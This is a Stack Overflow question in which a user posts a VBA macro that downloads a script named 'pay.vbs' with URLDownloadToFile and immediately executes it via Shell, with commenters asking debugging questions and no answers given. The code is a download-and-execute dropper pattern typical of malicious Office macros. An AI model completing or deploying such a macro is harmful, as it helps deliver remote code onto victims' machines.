0

I am trying to make a macro that download and execute file. Here's the code:

Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
                    "URLDownloadToFileA" ( _
                        ByVal pCaller As Long, _
                        ByVal szURL As String, _
                        ByVal szFileName As String, _
                        ByVal dwReserved As Long, _
                        ByVal lpfnCB As Long) As Long

Sub AAA()
Dim SourceName As String
Dim Destination As String
Dim R As Long

SourceName = "http://localhost/files/pay.vbs"
Destination = "C:\users\david\ex.vbs"
R = URLDownloadToFile(0&, SourceName, Destination, 0&, 0&)
Shell "C:\users\david\ex.vbs", vbNormalFocus
End Sub

It gives me error: Invalid procedure call or argument

Luuklag
  • 3,897
  • 11
  • 38
  • 57
StratHaxxs
  • 19
  • 9
  • Assuming that **pay.vbs** is downloaded correctly and the error is in the shell execute, perhaps the local copy of **pay.vbs** is expecting parameters or references its original host in some way. See [vbscript to open an excel file in Windows 10 via Task Scheduler](http://stackoverflow.com/questions/32194129/vbscript-to-open-an-excel-file-in-windows-10-via-task-scheduler/32214672#32214672). –  Dec 03 '15 at 04:12
  • Is it the VBA or the VBScript that generates the error? What does the *exact* error message look like? – Ansgar Wiechers Dec 03 '15 at 08:14
  • Are you using a 64-bit version of Windows? – SierraOscar Dec 03 '15 at 10:12
  • @MacroMan Yes, Windows 10 64Bit – StratHaxxs Dec 08 '15 at 03:17

0 Answers0